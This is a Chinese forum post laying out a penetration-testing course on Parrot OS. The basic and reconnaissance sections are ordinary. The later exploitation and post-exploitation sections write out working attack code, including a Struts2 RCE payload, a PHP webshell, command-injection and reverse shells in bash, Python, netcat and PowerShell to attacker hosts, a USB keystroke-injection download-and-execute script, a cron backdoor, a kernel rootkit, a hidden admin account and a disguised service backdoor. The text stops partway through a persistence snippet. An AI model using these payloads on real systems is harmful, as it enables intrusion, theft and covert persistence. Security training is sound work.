|
|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
x
引言:网络安全与Parrot OS的重要性
在当今数字化时代,网络安全已成为个人、企业和国家安全的重中之重。随着网络攻击的日益复杂和频繁,对专业渗透测试工程师和安全专家的需求也在不断增长。Parrot OS作为一款专为安全测试、数字取证和渗透测试设计的Linux发行版,为安全专业人士提供了强大的工具集和平台。
本课程将带你从零基础开始,逐步掌握Parrot OS的使用和安全测试技能,最终成为一名专业的渗透测试工程师和网络安全专家。无论你是完全的新手还是有一定IT基础的学习者,本课程都将为你提供系统、全面的知识体系和实践指导。
第一部分:Parrot OS基础
1.1 什么是Parrot OS
Parrot OS是一个基于Debian的Linux发行版,专为安全专家、开发人员、隐私爱好者和普通用户设计。它预装了大量用于渗透测试、漏洞评估、计算机取证和匿名浏览的工具。与其他安全发行版(如Kali Linux)相比,Parrot OS更加轻量级,适合在低配置设备上运行,同时也提供了更好的隐私保护和匿名性。
Parrot OS的主要特点包括:
• 轻量级设计,可在各种硬件上运行
• 预装超过600种安全工具
• 强调隐私和匿名性
• 定期更新和安全补丁
• 友好的用户界面和社区支持
1.2 安装和配置Parrot OS
在安装Parrot OS之前,确保你的系统满足以下最低要求:
• 处理器:1GHz双核处理器
• 内存:1GB RAM(推荐2GB或更多)
• 存储空间:10GB可用空间
• USB端口或DVD驱动器(用于安装介质)
访问Parrot OS官方网站(https://www.parrotsec.org/)下载适合你需求的版本。ParrotOS提供多种版本:
• Parrot Security:完整版,包含所有安全工具
• Parrot Home:轻量版,适合日常使用
• Parrot Architect:用于开发的自定义版本
• Parrot IoT:专注于物联网安全的版本
对于渗透测试学习,建议下载Parrot Security版本。
下载完成后,你需要创建一个可启动的USB驱动器或DVD。以下是使用dd命令在Linux上创建USB安装介质的步骤:
- # 确定USB设备名称(通常是/dev/sdb或/dev/sdc)
- lsblk
- # 卸载USB设备(如果已挂载)
- sudo umount /dev/sdX
- # 使用dd命令将ISO写入USB设备(将sdX替换为你的USB设备名称)
- sudo dd if=parrot-security-4.11_amd64.iso of=/dev/sdX bs=4M status=progress
复制代码
1. 将USB驱动器或DVD插入计算机并重启。
2. 在启动时进入BIOS/UEFI设置,选择从USB/DVD启动。
3. 从Parrot OS启动菜单中选择”Live Mode”以试用系统,或直接选择”Install Parrot”开始安装。
4. 按照安装向导的提示进行操作,包括:选择语言和地区设置配置网络分区磁盘(新手可以选择自动分区)创建用户账户和密码安装引导加载程序
5. 选择语言和地区设置
6. 配置网络
7. 分区磁盘(新手可以选择自动分区)
8. 创建用户账户和密码
9. 安装引导加载程序
10. 安装完成后,重启系统并移除安装介质。
• 选择语言和地区设置
• 配置网络
• 分区磁盘(新手可以选择自动分区)
• 创建用户账户和密码
• 安装引导加载程序
首次启动Parrot OS后,进行以下基本配置:
- # 更新系统
- sudo apt update
- sudo apt full-upgrade -y
- # 安装常用软件
- sudo apt install -y git terminator vim
- # 配置网络(如果需要)
- sudo nmtui
复制代码
1.3 基本命令和操作
Parrot OS基于Linux,因此熟悉基本的Linux命令至关重要。以下是一些最常用的命令:
- # 文件和目录操作
- ls # 列出目录内容
- cd # 更改目录
- pwd # 显示当前工作目录
- mkdir # 创建新目录
- rm # 删除文件或目录
- cp # 复制文件或目录
- mv # 移动或重命名文件或目录
- # 文本操作
- cat # 显示文件内容
- less # 分页显示文件内容
- grep # 在文件中搜索文本
- nano/vim # 文本编辑器
- # 系统信息
- uname -a # 显示系统信息
- top/htop # 显示系统进程
- df -h # 显示磁盘使用情况
- free -h # 显示内存使用情况
- # 权限管理
- chmod # 更改文件权限
- chown # 更改文件所有者
- sudo # 以超级用户权限执行命令
复制代码
Parrot OS使用APT(Advanced Package Tool)作为其包管理系统:
- # 更新软件包列表
- sudo apt update
- # 升级已安装的软件包
- sudo apt upgrade
- # 安装新软件包
- sudo apt install package-name
- # 删除软件包
- sudo apt remove package-name
- # 搜索软件包
- apt search keyword
- # 显示软件包信息
- apt show package-name
复制代码- # 显示网络接口信息
- ip a
- ifconfig
- # 测试网络连接
- ping example.com
- # 显示路由表
- ip route
- route -n
- # 显示网络连接
- netstat -tuln
- ss -tuln
- # 配置网络(使用NetworkManager文本界面)
- sudo nmtui
复制代码
Parrot OS使用systemd作为其初始化系统和服务管理器:
- # 启动服务
- sudo systemctl start service-name
- # 停止服务
- sudo systemctl stop service-name
- # 重启服务
- sudo systemctl restart service-name
- # 启用服务(开机自启)
- sudo systemctl enable service-name
- # 禁用服务
- sudo systemctl disable service-name
- # 查看服务状态
- sudo systemctl status service-name
复制代码
第二部分:网络安全基础
2.1 网络基础知识
OSI(Open Systems Interconnection)模型是一个概念性框架,用于理解和标准化网络通信的七个不同层次:
1. 物理层:负责传输原始比特流,包括电缆、物理接口和信号传输。
2. 数据链路层:提供节点到节点的数据传输,处理物理寻址(MAC地址)和错误检测。
3. 网络层:负责数据包的路由和转发,处理逻辑寻址(IP地址)。
4. 传输层:提供端到端的通信服务,确保数据完整性和流量控制(TCP/UDP)。
5. 会话层:建立、管理和终止应用程序之间的连接。
6. 表示层:数据格式化、加密和压缩。
7. 应用层:为应用程序提供网络服务,如HTTP、FTP、SMTP等。
TCP/IP模型是实际使用的网络协议模型,通常被视为OSI模型的简化版本:
1. 网络接口层:对应OSI的物理层和数据链路层。
2. 网际层:对应OSI的网络层,使用IP协议。
3. 传输层:对应OSI的传输层,使用TCP和UDP协议。
4. 应用层:对应OSI的会话层、表示层和应用层。
• IP(Internet Protocol):负责数据包的路由和寻址。
• TCP(Transmission Control Protocol):提供可靠的、面向连接的数据传输。
• UDP(User Datagram Protocol):提供无连接的、快速但不保证可靠的数据传输。
• HTTP/HTTPS(Hypertext Transfer Protocol/Secure):用于Web浏览和数据传输。
• FTP(File Transfer Protocol):用于文件传输。
• SSH(Secure Shell):用于安全远程登录和管理。
• DNS(Domain Name System):将域名解析为IP地址。
• SMTP/POP3/IMAP:用于电子邮件传输和接收。
• 路由器:连接不同网络,根据IP地址转发数据包。
• 交换机:在局域网内连接设备,根据MAC地址转发数据帧。
• 集线器:简单的网络设备,将数据广播到所有连接的设备。
• 防火墙:监控和控制网络流量,基于安全规则允许或阻止数据传输。
• IDS/IPS(入侵检测/防御系统):监控网络流量以检测和防止恶意活动。
2.2 安全概念和原则
信息安全的核心原则通常被称为CIA三元组:
• 机密性(Confidentiality):确保信息只能被授权人员访问。
• 完整性(Integrity):保护信息不被未授权的修改,确保数据的准确性和完整性。
• 可用性(Availability):确保授权用户在需要时能够访问信息和资源。
• 认证(Authentication):验证用户或系统身份的过程。
• 授权(Authorization):确定已认证用户可以访问哪些资源或执行哪些操作。
• 审计(Accounting/Auditing):记录和监控用户活动,用于安全分析和合规性检查。
防御深度是一种安全策略,通过多层安全控制来保护系统和数据。即使一层防御被突破,其他层仍能提供保护。
最小权限原则要求用户和系统只被授予完成其任务所需的最小权限。这限制了潜在的安全漏洞和攻击面。
• 攻击面:系统可能被攻击的所有入口点的总和。
• 攻击向量:攻击者用来入侵系统的具体方法或路径。
2.3 常见威胁和攻击类型
• 病毒:附着在其他程序上,执行时复制自身并感染其他文件。
• 蠕虫:独立程序,通过网络自我复制并传播。
• 特洛伊木马:伪装成合法软件的恶意程序。
• 勒索软件:加密用户数据并要求支付赎金以解锁。
• 间谍软件:秘密收集用户信息并发送给第三方。
• 广告软件:自动显示广告的软件。
• DDoS(分布式拒绝服务):通过大量请求使目标系统过载,导致服务不可用。
• MITM(中间人):攻击者拦截和可能修改两个通信方之间的数据。
• DNS欺骗:将域名解析到攻击者控制的IP地址。
• ARP欺骗:将本地网络上的IP地址与错误的MAC地址关联。
• SQL注入:通过在SQL查询中插入恶意代码来操纵数据库。
• XSS(跨站脚本):在网页中注入恶意脚本,影响其他用户。
• 钓鱼:伪装成可信实体以获取敏感信息。
• 鱼叉式钓鱼:针对特定个人或组织的定向钓鱼攻击。
• 商业邮件欺诈:冒充高管或供应商进行财务欺诈。
• 诱饵:使用诱人的内容(如免费软件、电影)诱骗用户执行恶意操作。
• 尾随:物理跟随授权人员进入受限区域。
• 暴力破解:尝试所有可能的密码组合。
• 字典攻击:使用常见单词和短语列表作为密码。
• 凭证填充:使用从其他数据泄露中获得的用户名和密码组合。
• 键盘记录:记录用户的按键以获取密码和其他敏感信息。
• 凭证转储:从系统内存或文件中提取密码哈希。
第三部分:信息收集
信息收集是渗透测试的第一阶段,也是至关重要的一步。在这个阶段,渗透测试人员收集关于目标系统的尽可能多的信息,这些信息将用于后续的漏洞评估和渗透测试。
3.1 被动信息收集
被动信息收集是指在不直接与目标系统交互的情况下收集信息。这种方法更隐蔽,不容易被目标系统检测到。
OSINT是从公开来源收集的信息,包括:
• 公司网站:查找公司信息、员工名单、技术栈等。
• 社交媒体:LinkedIn、Twitter、Facebook等平台上的公司和个人信息。
• 新闻文章:关于公司的新闻报道和公告。
• 财务报告:上市公司提交的财务报告可能包含有用的信息。
• 招聘信息:可能揭示公司使用的技术和系统。
• 公共记录:域名注册、公司注册信息等。
theHarvester是一个用于收集电子邮件、子域名、主机、员工姓名、开放端口和横幅的OSINT工具。
- # 安装theHarvester
- sudo apt install theharvester
- # 使用theHarvester收集信息
- theHarvester -d example.com -b google -l 100
复制代码
Shodan是一个搜索引擎,可以查找连接到互联网的设备,包括服务器、网络摄像头、IoT设备等。
- # 安装Shodan CLI
- sudo pip install shodan
- # 初始化Shodan API(需要先在Shodan网站注册获取API密钥)
- shodan init YOUR_API_KEY
- # 搜索特定组织的设备
- shodan search org:"Example Organization"
- # 搜索特定类型的设备
- shodan search product:"Apache httpd" country:"US"
复制代码
Maltego是一个开源的OSINT和取证工具,用于收集和连接信息,创建关系图。
- # 安装Maltego
- sudo apt install maltego
- # 启动Maltego
- maltego
复制代码- # 使用nslookup查询DNS记录
- nslookup example.com
- # 使用dig查询DNS记录
- dig example.com
- # 查询MX记录
- dig example.com MX
- # 查询NS记录
- dig example.com NS
- # 查询TXT记录
- dig example.com TXT
- # 使用dnsenum进行DNS枚举
- sudo apt install dnsenum
- dnsenum example.com
复制代码
3.2 主动信息收集
主动信息收集涉及直接与目标系统交互,因此更容易被检测到。在进行主动信息收集时,应确保获得适当的授权。
端口扫描用于识别目标系统上开放的服务和端口。
Nmap是最流行的端口扫描工具,功能强大且灵活。
- # 安装Nmap
- sudo apt install nmap
- # 基本TCP扫描
- nmap example.com
- # 全面扫描所有TCP端口
- nmap -p- example.com
- # 扫描特定端口
- nmap -p 80,443,8080 example.com
- # 服务版本检测
- nmap -sV example.com
- # 操作系统检测
- nmap -O example.com
- # 使用默认脚本扫描
- nmap -sC example.com
- # 保存扫描结果
- nmap -oN scan_results.txt example.com
复制代码
Masscan是一个高速端口扫描器,可以在几分钟内扫描整个互联网。
- # 安装Masscan
- sudo apt install masscan
- # 扫描特定IP范围的端口
- masscan 192.168.1.0/24 -p 80,443
- # 高速扫描大量端口
- masscan 192.168.1.0/24 -p 1-65535 --rate=1000
复制代码
服务枚举是识别运行在开放端口上的服务及其版本的过程。
- # 使用Nmap进行服务枚举
- nmap -sV -sC example.com
- # 使用Netcat进行横幅抓取
- nc -nv example.com 80
- # 使用Amap进行应用程序映射
- sudo apt install amap
- amap -bq example.com 80
复制代码- # 使用Nmap进行OS识别
- nmap -O example.com
- # 使用Xprobe2进行OS识别
- sudo apt install xprobe2
- xprobe2 example.com
复制代码- # 使用Nmap进行网络发现
- nmap -sn 192.168.1.0/24
- # 使用Netdiscover进行ARP扫描
- sudo apt install netdiscover
- sudo netdiscover -r 192.168.1.0/24
- # 使用Nmap绘制网络拓扑
- nmap -O --traceroute example.com
复制代码
3.3 Web应用信息收集
- # 使用curl获取HTTP头信息
- curl -I example.com
- # 使用Wappalyzer浏览器插件识别Web技术
- # 安装Firefox
- sudo apt install firefox
- # 在Firefox中安装Wappalyzer插件
- # 使用WhatWeb进行Web技术识别
- sudo apt install whatweb
- whatweb example.com
复制代码
DirBuster是一个用于查找Web服务器上隐藏文件和目录的工具。
- # 安装DirBuster
- sudo apt install dirbuster
- # 使用DirBuster进行目录枚举
- dirbuster -u http://example.com -l /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
复制代码
Gobuster是一个快速的目录和文件枚举工具。
- # 安装Gobuster
- sudo apt install gobuster
- # 使用Gobuster进行目录枚举
- gobuster dir -u http://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
- # 使用Gobuster进行子域名枚举
- gobuster dns -d example.com -w /usr/share/wordlists/subdomains-top1million-5000.txt
复制代码- # 使用Sublist3r进行子域名枚举
- sudo apt install sublist3r
- sublist3r -d example.com
- # 使用Amass进行子域名枚举
- sudo apt install amass
- amass enum -passive -d example.com
- # 使用DNSRecon进行DNS枚举
- sudo apt install dnsrecon
- dnsrecon -d example.com -t std
复制代码
第四部分:漏洞评估
漏洞评估是渗透测试的核心阶段,涉及识别目标系统中的安全漏洞并评估其严重性。在这个阶段,我们将使用各种工具和技术来发现潜在的漏洞。
4.1 漏洞扫描
漏洞扫描器是自动化工具,用于识别系统、网络和应用程序中的已知漏洞。
Nessus是最流行的商业漏洞扫描器之一,提供全面的漏洞评估功能。
- # 下载并安装Nessus(需要注册Nessus账户)
- wget https://www.tenable.com/downloads/nessus?login_attempt=1
- sudo dpkg -i nessus.deb
- # 启动Nessus服务
- sudo systemctl start nessusd
- # 访问Nessus Web界面
- # 打开浏览器,访问 https://localhost:8834
- # 按照向导完成初始设置
- # 使用Nessus CLI进行扫描
- /opt/nessus/bin/nessuscli scan new --name "Basic Scan" --targets "example.com" --policy "basic"
复制代码
OpenVAS是一个开源的漏洞扫描器,功能强大且免费。
- # 安装OpenVAS
- sudo apt install openvas
- # 初始化OpenVAS
- sudo gvm-setup
- # 启动OpenVAS服务
- sudo systemctl start gvmd
- sudo systemctl start openvas-scanner
- sudo systemctl start greenbone-security-assistant
- # 访问OpenVAS Web界面
- # 打开浏览器,访问 https://127.0.0.1:9392
- # 使用admin账户和设置的密码登录
- # 使用Greenbone Security Assistant (GSA)创建和管理扫描
复制代码
Nikto是一个开源的Web服务器扫描器,用于检查Web服务器中的危险文件/CGI、过时的服务器软件和其他问题。
- # 安装Nikto
- sudo apt install nikto
- # 基本Web扫描
- nikto -h http://example.com
- # 使用代理进行扫描
- nikto -h http://example.com -useproxy http://proxy:port
- # 扫描特定端口
- nikto -h example.com -p 8080
- # 保存扫描结果
- nikto -h http://example.com -output scan_results.txt
复制代码
4.2 漏洞分析
漏洞分析是评估发现的漏洞的严重性和潜在影响的过程。
通用漏洞评分系统(CVSS)是一个开放的标准,用于评估漏洞的严重性。CVSS评分范围从0.0到10.0,分数越高表示漏洞越严重。
CVSS评分由三个指标组组成:
• 基础指标:表示漏洞的固有特征,不随时间和环境变化。
• 时间指标:随时间变化的漏洞特征。
• 环境指标:特定用户环境中的漏洞特征。
自动化工具可能会产生误报,因此手动验证发现的漏洞至关重要。
- # 验证Heartbleed漏洞
- sudo apt install openssl
- openssl s_client -connect example.com:443 -tlsextdebug
- # 然后输入:
- HEARTBEAT
- # 验证Shellshock漏洞
- curl -A '() { :;}; echo "Shellshock Vulnerable"' http://example.com/cgi-bin/test.cgi
- # 验证Apache Struts2漏洞
- curl http://example.com/action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%27cat%27,%27/etc/passwd%27})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
复制代码
使用漏洞数据库可以获取关于已知漏洞的详细信息:
• CVE(Common Vulnerabilities and Exposures):https://cve.mitre.org/
• NVD(National Vulnerability Database):https://nvd.nist.gov/
• Exploit-DB:https://www.exploit-db.com/
- # 使用searchsploit搜索漏洞
- sudo apt install exploitdb
- searchsploit apache 2.4.39
- # 更新Exploit-DB数据库
- searchsploit -u
复制代码
4.3 Web应用漏洞评估
Web应用是常见的攻击目标,因此专门的Web应用漏洞评估至关重要。
OWASP Zed Attack Proxy(ZAP)是一个开源的Web应用安全扫描器。
- # 安装OWASP ZAP
- sudo apt install zaproxy
- # 启动OWASP ZAP
- zap
- # 使用ZAP进行自动化扫描
- # 在ZAP GUI中,输入目标URL,然后点击"Automated Scan"
复制代码
Burp Suite是一个流行的Web应用安全测试平台,提供社区版(免费)和专业版(付费)。
- # 下载并安装Burp Suite Community Edition
- # 访问 https://portswigger.net/burp/communitydownload 下载安装包
- sudo dpkg -i burpsuite_community_linux.deb
- # 启动Burp Suite
- burpsuite
- # 配置浏览器代理以使用Burp Suite
- # 在浏览器中设置代理为127.0.0.1:8080
- # 导入Burp Suite的CA证书
复制代码
SQL注入是一种代码注入技术,攻击者可以通过在Web应用的输入字段中插入恶意SQL语句来操纵数据库。
- # 使用sqlmap进行SQL注入测试
- sudo apt install sqlmap
- # 基本SQL注入测试
- sqlmap -u "http://example.com/page.php?id=1"
- # 测试POST请求中的SQL注入
- sqlmap -u "http://example.com/login.php" --data="username=admin&password=password"
- # 获取数据库信息
- sqlmap -u "http://example.com/page.php?id=1" --dbs
- # 获取特定数据库的表
- sqlmap -u "http://example.com/page.php?id=1" -D database_name --tables
- # 获取特定表的数据
- sqlmap -u "http://example.com/page.php?id=1" -D database_name -T table_name --dump
复制代码
XSS是一种攻击技术,攻击者可以在Web页面中注入恶意脚本,当用户访问该页面时,脚本会在用户的浏览器中执行。
- # 手动测试XSS
- # 在输入字段中插入以下payload:
- <script>alert('XSS')</script>
- <img src=x onerror=alert('XSS')>
- <svg onload=alert('XSS')>
- # 使用XSStrike进行XSS扫描
- git clone https://github.com/s0md3v/XSStrike.git
- cd XSStrike
- python3 xsstrike.py -u "http://example.com/search.php?query=test"
复制代码
文件包含漏洞允许攻击者包含服务器上的文件,可能导致敏感信息泄露或远程代码执行。
- # 测试本地文件包含(LFI)
- http://example.com/page.php?file=../../../../etc/passwd
- # 测试远程文件包含(RFI)
- http://example.com/page.php?file=http://attacker.com/evil.txt
- # 使用Liffy进行LFI扫描
- git clone https://github.com/D35m0nd142/Liffy.git
- cd Liffy
- python liffy.py -u "http://example.com/page.php?file=test"
复制代码
SSRF是一种攻击,攻击者可以操纵服务器向任意地址发送请求。
- # 测试SSRF
- http://example.com/page.php?url=http://127.0.0.1:22
- http://example.com/page.php?url=file:///etc/passwd
- http://example.com/page.php?url=dict://127.0.0.1:22/info
复制代码
第五部分:渗透测试
渗透测试是模拟真实攻击以评估系统安全性的过程。在这个阶段,我们将利用之前收集的信息和发现的漏洞来尝试获取对目标系统的未授权访问。
5.1 渗透测试方法论
渗透测试通常遵循以下方法论:
1. 规划和准备:确定测试范围、目标和规则。
2. 信息收集:收集关于目标系统的信息。
3. 漏洞评估:识别和评估系统中的漏洞。
4. 利用:尝试利用发现的漏洞获取访问权限。
5. 后渗透:在获得访问权限后,尝试提升权限、维持访问和获取敏感数据。
6. 报告:编写详细的报告,包括发现的漏洞、利用方法和建议的修复措施。
5.2 网络渗透测试
- # 使用Hydra进行SSH暴力破解
- sudo apt install hydra
- hydra -L usernames.txt -P passwords.txt ssh://example.com
- # 使用Medusa进行SSH暴力破解
- sudo apt install medusa
- medusa -u username -P passwords.txt -h example.com -M ssh
- # 使用John the Ripper进行密码破解
- sudo apt install john
- john --wordlist=passwords.txt --format=shadow hashes.txt
复制代码- # 使用Mimikatz转储Windows凭证
- # 在Windows目标系统上运行
- # 下载Mimikatz:https://github.com/gentilkiwi/mimikatz
- # 提升权限
- privilege::debug
- # 转储登录凭证
- sekurlsa::logonpasswords
- # 使用Hashcat破解密码哈希
- sudo apt install hashcat
- hashcat -m 1000 hashes.txt passwords.txt
复制代码- # 使用enum4linux枚举SMB共享
- sudo apt install enum4linux
- enum4linux -a example.com
- # 使用smbclient访问SMB共享
- sudo apt install smbclient
- smbclient //example.com/share -U username
- # 使用smbmap枚举SMB共享
- sudo apt install smbmap
- smbmap -H example.com -u username -p password
- # 使用CrackMapExec执行SMB攻击
- sudo apt install crackmapexec
- crackmapexec smb example.com -u username -p password --shares
复制代码- # 使用onesixtyone进行SNMP枚举
- sudo apt install onesixtyone
- onesixtyone -c community_strings.txt example.com
- # 使用snmpwalk进行SNMP枚举
- sudo apt install snmp
- snmpwalk -v 2c -c public example.com
复制代码- # 使用arpspoof进行ARP欺骗
- sudo apt install dsniff
- arpspoof -i eth0 -t target_ip gateway_ip
- arpspoof -i eth0 -t gateway_ip target_ip
- # 使用Ettercap进行ARP欺骗
- sudo apt install ettercap-graphical
- ettercap -G
- # 在GUI中,选择"Sniff" -> "Unified sniffing",选择网络接口
- # 然后选择"Hosts" -> "Scan for hosts"
- # 选择"Hosts" -> "Hosts list",将目标添加到Target 1,将网关添加到Target 2
- # 选择"Mitm" -> "ARP poisoning",选择"Sniff remote connections"
复制代码- # 使用Ettercap进行DNS欺骗
- # 编辑etter.dns文件,添加要欺骗的域名
- sudo nano /etc/ettercap/etter.dns
- # 添加行:example.com A 192.168.1.100
- # 启动Ettercap并启用DNS欺骗插件
- ettercap -G
- # 在Plugins菜单中,选择"Manage the plugins",双击"dns_spoof"
复制代码
5.3 Web应用渗透测试
- # 使用sqlmap进行SQL注入利用
- # 获取当前数据库
- sqlmap -u "http://example.com/page.php?id=1" --current-db
- # 获取当前用户
- sqlmap -u "http://example.com/page.php?id=1" --current-user
- # 检查是否为数据库管理员
- sqlmap -u "http://example.com/page.php?id=1" --is-dba
- # 执行操作系统命令
- sqlmap -u "http://example.com/page.php?id=1" --os-shell
- # 获取数据库shell
- sqlmap -u "http://example.com/page.php?id=1" --sql-shell
复制代码- # 使用curl上传Webshell
- curl -F "file=@shell.php" http://example.com/upload.php
- # Webshell示例(PHP)
- <?php system($_GET['cmd']); ?>
- # 使用Webshell执行命令
- curl "http://example.com/uploads/shell.php?cmd=id"
复制代码- # 测试命令注入
- http://example.com/page.php?ip=127.0.0.1;id
- http://example.com/page.php?ip=127.0.0.1&&id
- http://example.com/page.php?ip=127.0.0.1|id
- # 使用Netcat创建反向shell
- # 在攻击者机器上监听
- nc -lvnp 4444
- # 在目标系统上执行命令注入
- http://example.com/page.php?ip=127.0.0.1;nc -e /bin/bash attacker_ip 4444
复制代码- # 使用wpscan扫描WordPress漏洞
- sudo apt install wpscan
- wpscan --url http://example.com
- # 枚举用户
- wpscan --url http://example.com --enumerate u
- # 暴力破解用户密码
- wpscan --url http://example.com --passwords passwords.txt --usernames usernames.txt
- # 使用WordPress插件漏洞
- # 例如,使用Contact Form 7插件漏洞
- # 在插件中插入以下内容:
- [email* your-email "onchange="eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))"]
复制代码- # 使用joomscan扫描Joomla漏洞
- sudo apt install joomscan
- joomscan -u http://example.com
- # 使用Joomla组件漏洞
- # 例如,使用com_fields组件漏洞
- http://example.com/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27,concat(0x7e,version()),0x7e)--%20
复制代码- # 使用droopescan扫描Drupal漏洞
- sudo apt install droopescan
- droopescan scan drupal -u http://example.com
- # 使用Drupalgeddon2漏洞(CVE-2018-7600)
- # 使用Python脚本利用
- git clone https://github.com/pimps/CVE-2018-7600.git
- cd CVE-2018-7600
- python3 cve-2018-7600.py -t http://example.com -c "id"
复制代码
5.4 社会工程学攻击
社会工程学攻击利用人的心理弱点来获取信息或访问权限。
- # 使用Social Engineering Toolkit (SET)创建钓鱼网站
- sudo apt install set
- setoolkit
- # 选择1) Social-Engineering Attacks
- # 选择2) Website Attack Vectors
- # 选择3) Credential Harvester Attack Method
- # 选择1) Web Templates
- # 选择模板(例如Google)
- # 输入攻击者IP地址
- # SET将创建一个克隆网站,捕获输入的凭证
- # 使用Phishing Frenzy创建钓鱼活动
- # 安装Phishing Frenzy
- git clone https://github.com/pentestgeek/phishing-frenzy.git
- cd phishing-frenzy
- sudo ./install.sh
- # 启动Phishing Frenzy Web界面
- sudo service apache2 start
- sudo service postgresql start
- sudo service pf-server start
- # 访问 https://localhost/phishing
复制代码- # 使用MSFVenom创建恶意文档
- sudo apt install metasploit-framework
- # 创建恶意Word文档
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -f doc > malicious.doc
- # 使用MacroPack创建恶意宏
- sudo apt install macropack
- macropack -t WORD -G -o malicious.doc
- # 然后添加恶意宏代码
复制代码- # 使用USB Rubber Ducky创建攻击脚本
- # 购买USB Rubber Ducky:https://shop.hak5.org/products/usb-rubber-ducky
- # 编写Ducky Script
- # 示例:打开命令提示符并下载执行恶意脚本
- DELAY 1000
- GUI r
- DELAY 500
- STRING cmd
- ENTER
- DELAY 500
- STRING powershell -WindowStyle Hidden -Command "(New-Object System.Net.WebClient).DownloadString('http://attacker.com/payload.ps1') | IEX"
- ENTER
- # 将脚本编码为二进制并写入USB Rubber Ducky
- # 使用Bash Bunny创建USB攻击
- # 购买Bash Bunny:https://shop.hak5.org/products/bash-bunny
- # 编写payload.txt
- # 示例:执行快速键盘攻击并建立反向连接
- ATTACKMODE HID STORAGE
- LED R
- RUN WIN "powershell -WindowStyle Hidden -Command "\$client = New-Object System.Net.Sockets.TCPClient('attacker_ip',4444);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()""
- LED G
复制代码
第六部分:后渗透和报告
在成功获取对目标系统的访问权限后,渗透测试人员需要进行后渗透活动,以评估攻击者可能造成的进一步损害,并编写详细的报告。
6.1 权限提升
权限提升是指从低权限用户获取更高权限(如root或管理员权限)的过程。
- # 检查内核版本
- uname -a
- # 检查已安装的软件包
- dpkg -l
- rpm -qa
- # 检查SUID/GUID文件
- find / -perm -4000 -type f 2>/dev/null
- find / -perm -2000 -type f 2>/dev/null
- # 检查可写文件和目录
- find / -writable -type d 2>/dev/null
- find / -writable -type f 2>/dev/null
- # 检查cron任务
- crontab -l
- ls -la /etc/cron*
- # 使用Linux Exploit Suggester
- git clone https://github.com/mzet-/linux-exploit-suggester.git
- cd linux-exploit-suggester
- ./linux-exploit-suggester.sh
- # 使用LinPEAS进行权限提升枚举
- wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/linpeas.sh
- chmod +x linpeas.sh
- ./linpeas.sh
- # 利用Dirty Cow漏洞(CVE-2016-5195)
- gcc -pthread dirty.c -o dirty -lcrypt
- ./dirty
复制代码- # 检查系统信息
- systeminfo
- # 检查已安装的软件和补丁
- wmic qfe get Caption,Description,HotFixID,InstalledOn
- # 检查用户和组
- net user
- net localgroup
- # 检查服务配置
- wmic service get name,displayname,pathname,startmode
- # 检查计划任务
- schtasks /query /fo LIST /v
- # 使用Windows Exploit Suggester
- git clone https://github.com/gellin/windows-exploit-suggester.git
- cd windows-exploit-suggester
- python windows-exploit-suggester.py --systeminfo systeminfo.txt
- # 使用PowerSploit进行权限提升
- git clone https://github.com/PowerShellMafia/PowerSploit.git
- Import-Module PowerSploit/Privesc/PowerUp.ps1
- Invoke-AllChecks
- # 利用MS16-032漏洞
- # 使用PowerShell脚本
- Invoke-MS16-032
复制代码
6.2 维持访问
维持访问是指确保在系统重启或账户更改后仍能保持对目标系统的访问权限。
- # 添加SSH密钥
- mkdir -p ~/.ssh
- echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC..." >> ~/.ssh/authorized_keys
- # 创建反向shell
- # 使用Bash
- bash -i >& /dev/tcp/attacker_ip/4444 0>&1
- # 使用Python
- python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker_ip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
- # 使用Netcat
- nc -e /bin/bash attacker_ip 4444
- # 创建cron任务后门
- echo "* * * * * /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1" | crontab -
- # 创建rootkit
- # 使用Azazel rootkit
- git clone https://github.com/m0nad/Diamorphine.git
- cd Diamorphine
- make
- insmod diamorphine.ko
- # 使用kill命令连接后门
- kill -64 0
复制代码- # 添加管理员用户
- net user hacker Password123 /add
- net localgroup administrators hacker /add
- # 创建反向shell
- # 使用PowerShell
- powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker_ip',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
- # 使用Meterpreter持久化
- # 在Meterpreter会话中运行
- run persistence -U -i 5 -p 4444 -r attacker_ip
- # 创建服务后门
- sc create backdoor binpath= "cmd.exe /c C:\backdoor.bat" start= auto DisplayName= "Windows Update Service"
- sc start backdoor
- # 使用WMI事件订阅进行持久化
- # 使用PowerShell
- $FilterArgs = @{
